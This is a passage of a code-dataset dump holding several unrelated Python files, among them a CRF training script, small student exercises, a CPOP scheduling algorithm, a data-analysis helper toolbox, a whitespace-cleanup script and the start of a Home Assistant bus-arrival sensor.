w not in alphabet:\n alphabet.append(w)\n for label,feature in test_data:\n for w in label:\n if w not in alphabet:\n alphabet.append(w)\n print(\"Alphabet:\",alphabet)\n\n\n # 进行训练\n def train(data, alphabet, maxiter, log):\n \"\"\"\n Returns the learned [state_params, trans_params] list,\n where each parameter table is a numpy array.\n \"\"\"\n\n # Initialize state and transition parameter tables with zeros\n state_params = np.ndarray.flatten(np.zeros((len(alphabet), len(data[0][1][0]))))\n trans_params = np.ndarray.flatten(np.zeros((len(alphabet), len(alphabet))))\n theta = np.concatenate([state_params, trans_params])\n\n # Learn by minimizing the negative average log likelihood\n t0 = time.time()\n theta, fmin, _ = fmin_l_bfgs_b(likelihood, theta, fprime=likelihood_prime,\n args=(data, alphabet), maxiter=maxiter, disp=log)\n t1 = time.time()\n\n # Write training summary to log\n if log > 0:\n print(\"Training data size:\", len(data))\n print(\"Value of likelihood function at minimum:\", np.exp(-fmin))\n print(\"Training time:\", t1-t0)\n\n k = len(alphabet)\n n = len(data[0][1][0])\n mid = k * n\n state_params = np.reshape(theta[:mid], (k, n))\n trans_params = np.reshape(theta[mid:], (k, k))\n\n return [state_params, trans_params]\n\n model = train(train_data, alphabet, maxiter=50, log=1)\n\n\n\n # 保存模型\n print('Saving model to', 'model')\n if not os.path.exists('model'):\n os.makedirs('model')\n state_file = \"model/state-params.txt\"\n trans_file = \"model/transition-params.txt\"\n print_model(model, state_file, trans_file)\n\n\n\n def test(theta, data, alphabet):\n predictions = predict(theta, data, alphabet)\n acc = score(predictions, data)\n print(\"acc:\",acc)\n return acc\n\n # 从文件中重新读取模型\n theta = read_model('model')\n\n acc = test(theta, test_data, alphabet)\n\n return acc\n\n\n# 无正则化项\nacc = main(regular=False)\n\n# 添加正则化项,重新运行\nacc_regular = main(regular=True)\n\nprint(\"\\nOriginal acc:\", acc)\nprint(\"Acc with regular:\", acc_regular)","sub_path":"高级机器学习/AML_hw3/181220010.py","file_name":"181220010.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"288758342","text":"def input_n():\n while True:\n try:\n n = int(input(\"N = \"))\n return n\n except ValueError:\n print(\"nermucel tiv\")\n continue\n\nn = input_n()\n\nk = -1 # amenamec tivy vor bavararum e paymanin\na = 0\n\nwhile True:\n a = k**2\n k += 1\n if a >= n:\n k -= 2\n break\n\nprint(\"K = \"+str(k))\n","sub_path":"hometask_4/+bonus/182.py","file_name":"182.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"476439449","text":"#Introdução a programação de computadores;\r\n#Professor: Jucimar Junior\r\n#Felipe Henrique Bastos Costa - 1615310032\r\n#Lorene da Silva Marques - 1615310013\r\n#Caio de Oliveira Martins - 1615310031\r\n#Antonio Rodrigues de Souza Neto - 1615310028\r\n#Calebe Roberto Chaves da Silva Rebello - 1615310043\r\n\r\nn = int(input(\"Digite um número (ZERO para sair): \"))\r\n\r\nmaior = n \r\nmenor = n\r\nsoma = n\r\n\r\nwhile(n != 0):\r\n n = int(input(\"Digite um número (ZERO para sair): \"))\r\n if (n == 0):\r\n break\r\n if (n < menor):\r\n menor = n\r\n if (n > maior):\r\n maior = n\r\n soma += n\r\n\r\nprint(\"O menor número é: %d\" %menor)\r\nprint(\"O maior número é: %d\" %maior)\r\nprint(\"A soma é: %d\" %soma)\r\n","sub_path":"lista3/ipc_lista3.18.py","file_name":"ipc_lista3.18.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"94244889","text":"# coding=utf-8\n\"\"\"CPOP(Critical Path On a Processor)2018-3-15\"\"\"\nimport operator\nimport heft\nimport time\nimport copy\n\nstart_cpop = time.time()\n# import matplotlib as plt\n\n# Computing rank_d\nrank_d = []\nv = heft.v\np1 = []\np2 = []\np3 = []\nscheduler = [] # Record the processor number where each task schedule is located\npriority = []\n\n\ndef pred_rank_d(j, k, rank_d_copy):\n \"\"\"Looking for the predecessor's rank_d\"\"\"\n rank_nj = 0 # Recoding the predecessor's rank_d\n for t in range(len(rank_d_copy)): # m is the index of rank_d\n if heft.pred[j][1][k] == rank_d_copy[t][0]:\n rank_nj = rank_d_copy[t][1]\n break\n return rank_nj\n\n\ndef get_max_pred_rank_d(j, n, rank_d_copy):\n \"\"\"Get the maximum of predecessor's rank_d(n_j)+(w_j)̅+ c(j,i)̅ \"\"\"\n max_nj = 0\n for k in range(len(heft.pred[j][1])): # k is the index of predecessor task list\n\n # find the predecessor's rank_d\n rank_nj = pred_rank_d(j, k, rank_d_copy)\n # find the predecessor's avg_cost\n w_j = heft.avg_costs[heft.pred[j][1][k] - 1]\n # find cji which from the predecessor to self node\n cji = heft.dag[heft.pred[j][1][k]][n] * 3\n\n if max_nj < rank_nj + w_j + cji:\n max_nj = rank_nj + w_j + cji\n return max_nj\n\n\ndef get_rank_d(v_):\n \"\"\"Computing Downward rank priorities, rank_d(n_i) = max(n_j∈pred(n_i)⁡{rank_d(n_j)+(w_j)̅+ c(j,i)̅ \"\"\"\n n = 1 # task id\n while n <= v_:\n rank_d_copy = copy.deepcopy(rank_d) # 2018.04.11\n for j in range(len(heft.pred_list())): # j is the index of pred : 0 - 10\n if n == heft.pred[j][0]: # find the predecessor's info of task i\n # no predecessors\n if len(heft.pred[j][1]) == 0:\n rank_d.append([n, 0])\n # have predecessors\n else:\n # get the maximum of predecessors ---rank_d(n_j)+(w_j)̅+ c(j,i)̅\n max_nj = get_max_pred_rank_d(j, n, rank_d_copy)\n rank_d.append([n, max_nj])\n n += 1\n return rank_d\n\n\nget_rank_d(v)\n\n\ndef get_compute_priority():\n \"\"\"Computing the priorities priority = rank_d + rank_u\"\"\"\n for i in range(len(heft.rank_u_copy)):\n j = heft.rank_u_copy[i][0] # the task id in rank_u\n priority.append([j, rank_d[j-1][1] + heft.rank_u_copy[i][1]])\n priority.sort(key=operator.itemgetter(0)) # In ascending order of nodes\n\n\nget_compute_priority()\n\n# complete the set of SETcp\ncp = priority[0][1] # the priority of entry task\nset_cp = [1, ] # A set of nodes with the same priority as the entry node\n\n\ndef get_set_cp(v_):\n \"\"\"get the set of SETcp\"\"\"\n n_k = 1 # task id\n while n_k < v_:\n # find the successor of n_k\n for m in heft.dag[n_k].keys(): # m is the successor of n_k\n n_j = m\n if priority[n_j - 1][1] == cp and n_j not in set_cp: # Prevent duplicate additions\n set_cp.append(n_j)\n n_k += 1\n\n\nget_set_cp(v)\n# print(set_cp)\n\n# Select critical path processor to minimize total processing time\n\n\ndef critical_processor():\n \"\"\"Select the optimal processor to perform the critical path task (in set_cp)\"\"\"\n min_cost = heft.M\n pi = 0\n for i in range(len(heft.computation_costs[0])):\n sum_cost = 0\n for j in range(len(set_cp)):\n job = set_cp[j] # task id\n sum_cost += heft.computation_costs[job-1][i]\n if min_cost > sum_cost:\n min_cost = sum_cost\n pi = i + 1 # Record minimum spend processor number\n return pi, min_cost\n\n\nmin_cost_pi = critical_processor()[0]\n\n\ndef add_pi(pi, job, est, eft):\n \"\"\"Join the task to the list and add the task to the schedule list\"\"\"\n\n if pi == 1:\n p1.append({'job': job, 'start': est, 'end': eft})\n scheduler.append([job, 1])\n elif pi == 2:\n p2.append({'job': job, 'start': est, 'end': eft})\n scheduler.append([job, 2])\n else:\n p3.append({'job': job, 'start': est, 'end': eft})\n scheduler.append([job, 3])\n\n\ndef get_pred_aft(pred_pi, job_pred_j):\n \"\"\"get the predecessor's aft\"\"\"\n aft = 0\n if pred_pi == 1:\n for i in range(len(p1)):\n if p1[i]['job'] == job_pred_j:\n aft = p1[i]['end']\n elif pred_pi == 2:\n for i in range(len(p2)):\n if p2[i]['job'] == job_pred_j:\n aft = p2[i]['end']\n else:\n for i in range(len(p3)):\n if p3[i]['job'] == job_pred_j:\n aft = p3[i]['end']\n return aft\n\n\ndef compute_cmi(pi, pred_pi, job_pred_j, job):\n \"\"\"computing the communication costs\"\"\"\n if pi == pred_pi:\n cmi = 0\n else:\n cmi = heft.dag[job_pred_j][job]\n return cmi\n\n\ndef pred_max_nm(pi, job, job_pred):\n \"\"\"get the maximum costs of the predecessors,job_pred为job is a list of the predecessors\"\"\"\n max_nm = 0\n pred_pi = 0\n aft = 0\n for j in range(len(job_pred)):\n # Finding the completion time of the predecessor.1)Finding which processor the predecessor is on\n # 2)Finding the processor index location 3)Output the value of 'end'\n job_pred_j = [] # Record the list of predecessor task numbers to facilitate function call arguments\n for k in range(len(scheduler)):\n if job_pred[j] == scheduler[k][0]:\n pred_pi = scheduler[k][1]\n # get the predecessors's aft\n job_pred_j = job_pred[j]\n aft = get_pred_aft(pred_pi, job_pred_j)\n # computing cmi\n cmi = compute_cmi(pi, pred_pi, job_pred_j, job)\n\n # get the maximum of max_nm\n\n if max_nm < aft + cmi:\n max_nm = aft + cmi\n return max_nm\n\n\ndef scheduling_critical_task(job):\n \"\"\"Schedule critical path tasks\"\"\"\n label_pi = min_cost_pi\n # Calculate the earliest time that the critical processor can handle\n avail_pi = avail_est(label_pi)\n # print(avail_pi)\n\n # The maximum time spent on the predecessors task node\n max_nm = 0\n for ii in range(len(heft.pred)):\n if job == heft.pred[ii][0]: # find the index ii of predecessors\n job_pred = heft.pred[ii][1] # list of the predecessors\n max_nm = pred_max_nm(label_pi, job, job_pred)\n\n est = max(avail_pi, max_nm)\n eft = est + heft.computation_costs[job - 1][label_pi - 1]\n\n # added in p2 list\n add_pi(label_pi, job, est, eft)\n return eft\n\n\ndef avail_est(pi):\n \"\"\"The earliest time that the computing processor can handle the task job,pi is the id of processor\"\"\"\n avail_pi = 0\n if pi == 1 and len(p1) > 0:\n avail_pi = p1[-1]['end']\n elif pi == 2 and len(p2) > 0:\n avail_pi = p2[-1]['end']\n elif pi == 3 and len(p3) > 0:\n avail_pi = p3[-1]['end']\n return avail_pi\n\n\ndef get_job_pred(job):\n \"\"\"get the predecessor's list of job\"\"\"\n job_pred = []\n for i in range(len(heft.pred)):\n if job == heft.pred[i][0]: # find the index i of the predecessor\n job_pred = heft.pred[i][1]\n return job_pred\n\n\ndef scheduling_uncritical_task(job):\n \"\"\"scheduling uncritical task\"\"\"\n eft = heft.M\n label_pi = 0\n # the number of processor\n processor_num = len(heft.computation_costs[0])\n\n # scheduling on different processors\n for pi in range(1, processor_num + 1):\n est = 0\n # get the predecessor's list of job\n job_pred = get_job_pred(job)\n\n # The earliest time that the computing processor can handle the task job\n avail_pi = avail_est(pi)\n\n # computing max(n_m∈pred(n_i)){AFT(n_m ) + c_(m,i)\n max_nm = pred_max_nm(pi, job, job_pred)\n\n # get eft and record the processor's id :label_pi\n if est < max(avail_pi, max_nm):\n est = max(avail_pi, max_nm)\n\n if eft > est + heft.computation_costs[job - 1][pi - 1]:\n eft = est + heft.computation_costs[job - 1][pi - 1]\n label_pi = pi\n # update est\n est = eft - heft.computation_costs[job - 1][label_pi - 1]\n\n # add in pi list\n add_pi(label_pi, job, est, eft)\n return eft\n\n\ndef judge_pred_complete_scheduling(length, job_temp, un_schedule):\n \"\"\"judge pred complete scheduling\"\"\"\n # 1)find the pred task id\n num = 0 # record the complete scheduling number of the pred\n for j in range(length):\n # 2)judge pred complete scheduling of job_temp\n pred = heft.pred[job_temp - 1][1][j] # note! ! ! Three layers\n if pred not in un_schedule:\n num += 1\n return num\n\n\ndef candidate_job(priority_copy, un_schedule):\n \"\"\"unentry task,candidate_job\"\"\"\n job = 0\n for i in range(len(priority_copy)):\n job_temp = priority[i][0] # candidate job id\n # judge pred complete scheduling\n length = len(heft.pred[job_temp - 1][1])\n num = judge_pred_complete_scheduling(length, job_temp, un_schedule)\n if num == length:\n job = job_temp\n priority.pop(i)\n break\n return job\n\n\ndef get_unscheduled_job():\n \"\"\"get_unscheduled_job\"\"\"\n un_schedule = []\n for k in range(len(priority)):\n un_schedule.append(priority[k][0])\n return un_schedule\n\n\ndef scheduling_unentry_task():\n \"\"\"scheduling_unentry_task\"\"\"\n priority_copy = copy.deepcopy(priority) # 2018.04.11\n\n # Predecessors sort in ascending order by task number\n heft.pred.sort(key=operator.itemgetter(0))\n\n # get_unscheduled_job\n un_schedule = get_unscheduled_job()\n\n # candidate_job\n job = candidate_job(priority_copy, un_schedule)\n\n # critical_task\n if job in set_cp:\n eft = scheduling_critical_task(job)\n # uncritical_task\n else:\n eft = scheduling_uncritical_task(job)\n return eft\n\n\ndef scheduling_entry_task():\n\n \"\"\"scheduling_entry_task\"\"\"\n job = priority.pop(0)[0]\n est = 0\n eft = heft.computation_costs[0][min_cost_pi - 1]\n add_pi(min_cost_pi, job, est, eft)\n\n\ndef cpop():\n \"\"\"Execution algorithm\"\"\"\n # Initializes the priority queue, sorted by descending priority\n priority.sort(key=operator.itemgetter(1), reverse=True)\n eft = 0\n\n while len(priority) > 0: # have unscheduling tasks\n # scheduling_entry_task\n if len(priority) == len(heft.dag):\n scheduling_entry_task()\n # scheduling_unentry_task\n else:\n eft = scheduling_unentry_task()\n return eft\n\n\nmake_span = cpop()\n\nend_cpop = time.time()\nrunning_time_cpop = int(round((end_cpop - start_cpop), 3) * 1000)\nprint(\"time=\", running_time_cpop)\nprint(\"-----------------------CPOP------------------------\")\n# print('scheduler:', scheduler)\n# print('p1:', p1)\n# print('p2:', p2)\n# print('p3:', p3)\nprint('make_span:', make_span)\n\nmin_costs = critical_processor()[1]\nslr_heft = round(heft.make_span / min_costs, 2)\nslr_cpop = round(make_span / min_costs, 2)\n\nmin_comp_costs = heft.get_min_comp_costs()\nspeedup_heft = round(min_comp_costs / heft.make_span, 2)\nspeedup_cpop = round(min_comp_costs / make_span, 2)\n\n\ndef write_slr_speedup():\n \"\"\"computing schedule length ratio\"\"\"\n filename = \"slr_speedup_heft_cpop.txt\"\n with open(filename, 'a') as file_object:\n info = str(v) + \" \" + str(min_costs) + \" \" + str(min_comp_costs) + \" \" + str(heft.make_span) + \" \" \\\n + str(make_span) + \" \" + str(slr_heft) + \" \" + str(slr_cpop) + \" \" + str(speedup_heft) + \" \" \\\n + str(speedup_cpop) + \"\\n\"\n \"\"\"+ \" \" + str(heft.running_time_heft) + \" \" + str(running_time_cpop)\"\"\"\n file_object.write(info)\n\n\nwrite_slr_speedup()\n\nSLR_heft = {\n 20: [],\n 40: [],\n 60: [],\n 80: [],\n 100: [],\n}\nSLR_cpop = {\n 20: [],\n 40: [],\n 60: [],\n 80: [],\n 100: [],\n}\n\nSpeedup_heft = {\n 20: [],\n 40: [],\n 60: [],\n 80: [],\n 100: [],\n}\nSpeedup_cpop = {\n 20: [],\n 40: [],\n 60: [],\n 80: [],\n 100: [],\n}\n\n\ndef read_slr_speedup(slr_name, speedup_name):\n \"\"\"read in slr file\"\"\"\n filename = \"slr_speedup_heft_cpop.txt\"\n with open(filename, 'r') as file_object:\n lines = file_object.readlines()\n for line in lines:\n if line.startswith(\"#\"):\n continue\n line_list = line.split()\n v_ = int(line_list[0])\n if slr_name == SLR_heft and speedup_name == Speedup_heft:\n heft_slr_ = float(line_list[5])\n slr_name[v_].append(heft_slr_)\n speedup_heft_ = float(line_list[7])\n speedup_name[v_].append(speedup_heft_)\n\n elif slr_name == SLR_cpop and speedup_name == Speedup_cpop:\n cpop_slr_ = float(line_list[6])\n slr_name[v_].append(cpop_slr_)\n speedup_cpop_ = float(line_list[8])\n speedup_name[v_].append(speedup_cpop_)\n\n\n# read_slr_speedup(SLR_heft, Speedup_heft)\n# read_slr_speedup(SLR_cpop, Speedup_cpop)\n\n# print(\"SLR_heft=\", SLR_heft)\n# print(\"SLR_heft=\", SLR_cpop)\n# print(\"speedup_heft=\", Speedup_heft)\n# print(\"speedup_heft=\", Speedup_cpop)\n\n\nheft_info = []\ncpop_info = []\n\n\ndef slr_info(slr_list, info):\n \"\"\"computing avg slr\"\"\"\n for key, values in slr_list.items():\n print(key, values)\n print(len(values))\n temp_info = []\n min_info = min(values)\n temp_info.append(min_info)\n max_info = max(values)\n temp_info.append(max_info)\n avg_slr_ = round(sum(values) / len(values), 2)\n temp_info.append(avg_slr_)\n info.append(temp_info)\n\n\n# slr_info(SLR_heft, heft_info)\n# print(\"heft =\", heft_info)\n#\n# slr_info(SLR_cpop, cpop_info)\n# print(\"cpop =\", cpop_info)\n\n\ndef write_ccr(ccr):\n \"\"\"write ccr in file\"\"\"\n filename = \"ccr.txt\"\n with open(filename, 'a') as file_object:\n info = str(ccr) + \" \" + str(v) + \" \" + str(min_costs) + \" \" + str(heft.make_span) + \" \" + str(make_span) \\\n + \" \" + str(slr_heft) + \" \" + str(slr_cpop) + \"\\n\"\n \"\"\"+ \" \" + str(heft.running_time_heft) + \" \" + str(running_time_cpop)\"\"\"\n file_object.write(info)\n\n\n# write_ccr(10.0)\n\n\nslr_ccr_heft = {\n 0.1: [],\n 0.5: [],\n 1.0: [],\n 5.0: [],\n 10.0: [],\n}\nslr_ccr_cpop = {\n 0.1: [],\n 0.5: [],\n 1.0: [],\n 5.0: [],\n 10.0: [],\n}\n\nslr_beta_heft = {\n 0.1: [],\n 0.25: [],\n 0.5: [],\n 0.75: [],\n 1.0: [],\n}\nslr_beta_cpop = {\n 0.1: [],\n 0.25: [],\n 0.5: [],\n 0.75: [],\n 1.0: [],\n}\n\n\ndef write_slr_beta(beta):\n \"\"\"write slr_beta in file\"\"\"\n filename = \"slr_beta.txt\"\n with open(filename, 'a') as file_object:\n info = str(beta) + \" \" + str(v) + \" \" + str(min_costs) + \" \" + str(heft.make_span) + \" \" + str(make_span) \\\n + \" \" + str(slr_heft) + \" \" + str(slr_cpop) + \"\\n\"\n file_object.write(info)\n\n\nwrite_slr_beta(1.0)\n","sub_path":"cpop.py","file_name":"cpop.py","file_ext":"py","file_size_in_byte":14816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"339344844","text":"import glob\nimport math\nimport pandas as pd\nimport numpy as np\nimport dask.array as da\nimport dask.dataframe as dd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom time import strftime\n\n\nclass CollectData:\n\n def __init__(self, path):\n self.path = path\n\n def get_data_csv(self, target, kind='train'):\n if kind == 'train':\n train = pd.read_csv(self.path)\n X = train.drop(target, axis=1)\n y = train[target]\n return train, X, y\n else:\n test = pd.read_csv(self.path)\n Xtest = test.copy()\n return Xtest\n\n def get_data_dask(path, target, kind='train'):\n if kind == 'train':\n train = dd.read_csv(path)\n X = train.drop(target, axis=1)\n y = train[target]\n else:\n test = dd.read_csv(path)\n X = test.copy()\n\n return train, X, y\n\n\nclass DataDescription:\n\n def __init__(self, dataframe):\n self.dataframe = dataframe\n\n def my_describe(self):\n\n return pd.DataFrame({'missingPerc': self.dataframe.isna().mean(),\n 'uniques': self.dataframe.nunique(),\n '%uniquePerc': (self.dataframe.nunique()/self.dataframe.shape[0])*100,\n 'data_types': self.dataframe.dtypes,\n 'mean': self.dataframe.mean(),\n 'median': self.dataframe.median(),\n 'std': self.dataframe.std(),\n 'min': self.dataframe.min(),\n 'max': self.dataframe.max()})\n\n\nclass CleanData:\n\n def __init__(self, df):\n self.df = df\n\n def merge_csv_folder(self, prefix, path, memory='no'):\n \"\"\"\n Unir todos os csvs de uma determinada pasta.\n\n :prefix: Prefixo do arquivo concatenado a ser salvo.\n :path: Caminho do diretorio.\n :memory: Se os dados concatenados devem ser salvos em memoria(dataframe) ou em um arquivo .csv \n \"\"\"\n if path == '':\n path = input(\"Por favor digite o endereços dos arquivos?\\n\")\n path = path.replace('\\\\', '/')\n if path[:-1] != '/':\n path = path + '/'\n\n file_list = glob.glob(path + '*.csv')\n\n combined = pd.concat([pd.read_csv(f) for f in file_list])\n if memory == 'no':\n combined.to_csv(path + 'combined_{}_{}.csv'.format(prefix, strftime(\"%Y%m%d-%H%M%S\")), index=False)\n else:\n return combined\n print('Feito')\n\n def header_cleaner(self):\n \"\"\"\n Limpa os cabeçalhos do dataframe.\n\n :df: Dataframe.\n \"\"\"\n cols = self.df.columns.str.strip().str.lower()\n trat1 = [col.replace(\" \", '_') for col in cols]\n trat2 = [col.replace('.', '') for col in trat1]\n return trat2\n\n def split_columns(self, original, res1, res2, separator):\n \"\"\"\n Divide uma coluna em duas.\n\n :df: Objeto dataframe.\n :original: Coluna original.\n :res1: Nome para a primeira coluna resultante \n :res2: Nome para a segunda coluna resultante\n :separator: caracter separador\n \"\"\"\n self.df[[res1, res2]] = self.df[original].str.split(separator, expand = True)\n return self.df\n\n def df_filter(self, cond):\n \"\"\" Filtra df conforme determinada condição.\n\n :df: Dataframe\n :cond: Condição no qual haverá o filtro.\n \"\"\"\n new_df = self.df.filter(regex=cond)\n return new_df\n\n\nclass EDA:\n\n def __init__(self, dataframe: pd.DataFrame):\n self.dataframe = dataframe\n\n def multi_histograms(self, variables: list) -> None:\n\n \"\"\"\n \"\"\"\n\n # set of initial plot posistion\n n = 1\n\n plt.figure(figsize=(24, 16))\n for column in self.dataframe[variables].columns:\n plt.subplot(5, 5, n)\n _ = sns.distplot(x=self.dataframe[column], bins=50)\n n += 1\n\n plt.subplots_adjust(hspace=0.3)\n\n plt.show()\n\n def multi_boxplots(self, variables: list) -> None:\n\n \"\"\"\n Function to check for outliers visually through a boxplot\n\n data: DataFrame\n\n variable: list of numerical variables\n \"\"\"\n\n # set of initial plot posistion\n n = 1\n\n plt.figure(figsize=(18, 10))\n for column in self.dataframe[variables].columns:\n plt.subplot(3, 3, n)\n _ = sns.boxplot(x=column, data=self.dataframe)\n n += 1\n\n plt.subplots_adjust(hspace=0.3)\n\n plt.show()\n\n def balanced_target(self, target, hue=None):\n \"\"\"\n Function to check the balancing of the target variable.\n\n :target: An pd.Series of the target variable that will be checked.\n :dataset: An Dataframe object. \n \"\"\"\n sns.set(style='darkgrid', palette='Accent')\n ax = sns.countplot(x=target, hue=hue, data=self.dataframe)\n ax.figure.set_size_inches(10, 6)\n ax.set_title('Cardio Distribution', fontsize=18, loc='left')\n ax.set_xlabel(target, fontsize=14)\n ax.set_ylabel('Count', fontsize=14)\n ax=ax\n\n def hipo_test(self, *samples):\n\n samples = samples\n\n try:\n if len(samples) == 2:\n stat, p = ttest_ind(*samples)\n elif len(samples) > 2:\n stat, p = f_oneway(*samples)\n except:\n raise Exception(\"Deve ser fornecido pelo menos duas samples!!!\")\n\n if p < 0.05:\n print(f'O valor de p é: {p}')\n print('Provável haver diferença')\n else:\n print(f'O valor de p é: {p}')\n print('Provável que não haja diferença')\n\n return stat, p\n\n def Myheat_map(self, dataset, variaveis):\n\n df_corr = self.dataframe[variaveis].corr()\n\n fig, ax = plt.subplots(figsize=(16, 10))\n # mask\n mask = np.triu(np.ones_like(df_corr, dtype=np.bool))\n # adjust mask and df\n mask = mask[1:, :-1]\n corr = df_corr.iloc[1:,:-1].copy()\n # color map\n cmap = sns.diverging_palette(0, 230, 90, 60, as_cmap=True)\n\n # plot heatmap\n sns.heatmap(corr, mask=mask, annot=True, fmt=\".2f\",\n linewidths=5, cmap=cmap, vmin=-1, vmax=1,\n cbar_kws={\"shrink\": .8}, square=True)\n yticks = [i.upper() for i in corr.index]\n xticks = [i.upper() for i in corr.columns]\n plt.yticks(plt.yticks()[0], labels=yticks, rotation=0)\n plt.xticks(plt.xticks()[0], labels=xticks)\n\n # title\n title = 'CORRELATION MATRIX\\n'\n plt.title(title, loc='left', fontsize=18)\n plt.show()\n\n\nclass DataPreparation:\n pass\n\n\nclass ModelSelection:\n pass\n\n\nclass ModelEvaluation:\n\n def __init__(self, model, Xvalid, yvalid):\n self.model = model\n self.Xvalid = Xvalid\n self.yvalid = yvalid\n\n def confusion_matrix():\n pass\n\n def discrimination_threshold():\n pass\n\n def roc_curve(): # exemplaria\n pass\n\n\nclass StatsCalculations:\n\n\n def binomial_prob(self, n, p, x):\n \"\"\"\n Retorna a probabilidade binomial.\n\n :n: Quantidade de trials.\n :p: Probabiliadade do evento 'sucesso' em cada trial.\n :x: Quantidade de eventos sucesso.\n \"\"\"\n\n b = (math.factorial(n)/(math.factorial(x)*math.factorial(n-x)))*(p**x)*((1-p)**(n-x))\n return b\n\n def geometric_prob(self, p, x):\n \"\"\"\n Retorna a probabilidade de um evento depois \n de uma determinada quantiade de eventos.\n\n :p: Probabiliadade do evento 'sucesso' em cada trial.\n :x: Quantidade de trials.\n \"\"\"\n\n g = (1-p)**(x-1)*p\n return g\n\n def poisson_prob(self, miu, x):\n \"\"\"\n Retorna a probabilidade de uma quantidade de eventos em uma área.\n\n :miu: Média do numero de eventos 'sucesso' em uma determinada área.\n :x: Quantidade de eventos 'sucesso' na região. \n \"\"\"\n\n p = ((miu**x)* math.exp(-miu))/math.factorial(x)\n return p\n\n def normal_prob(self, miu, stdev, x):\n \"\"\"\n Retorna a probabilidade de um evento conforme um distribuição\n normal de probabilidades.\n\n :miu: Média da distribuição.\n :stdev: Desvio-Padrão da distribuição.\n :x Quantidade de eventos 'sucesso'.\n \"\"\"\n norm = 0.5* (1+math.erf((x-miu)/ (stdev * 2**0.5)))\n return norm\n\n def confidence_interval(self, n, miu, stdev, conf=0.95):\n\n \"\"\"\n Retorna o intervalo onde temos determinada certeza que os\n valores verdadeiros estarão.\n\n :n: Quantidade de observações.\n :miu: Média da distribuição.\n :stdev: Desvio-Padrão da distribuição.\n :conf: Grau de confiança que queremos obter - (0.99, 0.95, 0.90).\n \"\"\"\n if conf == 0.95:\n z = 1.96\n elif conf == 0.99:\n z = 2.576\n elif conf == 0.90:\n z = 1.645\n\n interval_min = miu-z*(stdev/n**0.5)\n interval_max = miu+z*(stdev/n**0.5)\n return print(f'{interval_min} , {interval_max}')\n\n def corr_heatmap(self, df, method='pearson'):\n\n \"\"\"\n Retorna mapa de calor das correlações, conforme metodo escolhido.\n\n :df: Dataframe com os dados.\n :method: Método escolhido para o calculo da correlação - (pearson,spearman,kendall)\n \"\"\"\n return df.corr(method=method).style.format(\"{:.2}\").background_gradient(cmap=plt.get_cmap('coolwarm'), axis=1)\n\n\n\n","sub_path":"fool/MyToolBox/MyToolBox.py","file_name":"MyToolBox.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"539692248","text":"import os,sys\r\ninitial = os.getcwd().replace(\"\\\\\",\"/\") + \"/../\"\r\nos.system(\"cls\")\r\nclass Parser:\r\n\tdef __init__(self):\r\n\t\tself.types = [\".cs\",\".sln\",\".csproj\"]\r\n\t\tself.skip = [\".meta\",\".cache\"]\r\n\t\tself.newline = \"\\n\"\r\n\tdef Match(self,name,terms):\r\n\t\tfor term in terms:\r\n\t\t\tif term in name : return term\r\n\t\treturn None\r\n\tdef Scan(self,path):\r\n\t\tfor item in os.listdir(path):\r\n\t\t\tcurrentPath = path.strip(\"/\")+\"/\"+item\r\n\t\t\tif os.path.isdir(currentPath) and not item.startswith(\".\"):\r\n\t\t\t\tself.Scan(currentPath)\r\n\t\t\tif self.Match(currentPath,self.types) and not self.Match(currentPath,self.skip):\r\n\t\t\t\tprint(\" \" + '\\033[104m\\033[97m'+\"Processing :\"+'\\033[0m' + \" \" + currentPath.replace(initial,\"\"))\r\n\t\t\t\toutput = \"\"\r\n\t\t\t\ttry:\r\n\t\t\t\t\tfile = open(currentPath,'r')\r\n\t\t\t\t\tlines = file.readlines()\r\n\t\t\t\t\tfile.close()\r\n\t\t\t\t\tfor line in lines :\r\n\t\t\t\t\t\tif line.strip() == \"\" : continue\r\n\t\t\t\t\t\toutput += line.rstrip() + self.newline\r\n\t\t\t\t\tfile = open(currentPath,'w')\r\n\t\t\t\t\tfile.write(output.rstrip())\r\n\t\t\t\t\tfile.close()\r\n\t\t\t\texcept:\r\n\t\t\t\t\tprint(\" \" + '\\033[101m\\033[97m'+\" Error :\"+'\\033[0m' + \" \" + currentPath)\r\n\t\t\t\t\tos.system(\"pause\")\r\nParser().Scan(initial)\r\nos.system(\"pause\")\r\n","sub_path":"Codebase/.Tools/Asmdef/Auto Whitespace.py","file_name":"Auto Whitespace.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"403336387","text":"\"\"\"Sensor platform for onebusaway.\"\"\"\nimport logging\n\nimport async_timeout\nimport voluptuous as vol\n\nfrom homeassistant.helpers.entity import Entity\nfrom homeassistant.const import (\n STATE_UNKNOWN,\n CONF_API_KEY,\n CONF_NAME,\n DEVICE_CLASS_TIMESTAMP,\n)\nfrom homeassistant.components.sensor import PLATFORM_SCHEMA\nfrom homeassistant.util.dt import utc_from_timestamp\nimport homeassistant.helpers.config_validation as cv\n\n_LOGGER = logging.getLogger(__name__)\n\nICON = \"mdi:bus\"\n\nCONF_ROUTE = \"route\"\nCONF_STOP = \"stop\"\n\nTIMEOUT = 10\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Required(CONF_NAME): cv.string,\n vol.Required(CONF_API_KEY): cv.string,\n vol.Required(CONF_STOP): cv.string,\n vol.Required(CONF_ROUTE): cv.string,\n }\n)\n\n\nasync def async_setup_platform(\n hass, config, async_add_entities, discovery_info=None\n): # pylint: disable=unused-argument\n \"\"\"Setup sensor platform.\"\"\"\n\n async_add_entities([OneBusAwaySensor(hass, config)], True)\n\n\nasync def fetch_api(session, url):\n with async_timeout.timeout(TIMEOUT):\n resp = await session.get(url)\n body = await resp.json()\n\n return body\n\n\ndef from_epoch_ms(ts):\n return utc_from_timestamp(ts / 1000).isoformat()\n\n\nclass OneBusAwaySensor(Entity):\n \"\"\"OneBusAway Sensor class.\"\"\"\n\n def __init__(self, hass, config):\n self.hass = hass\n self.attr 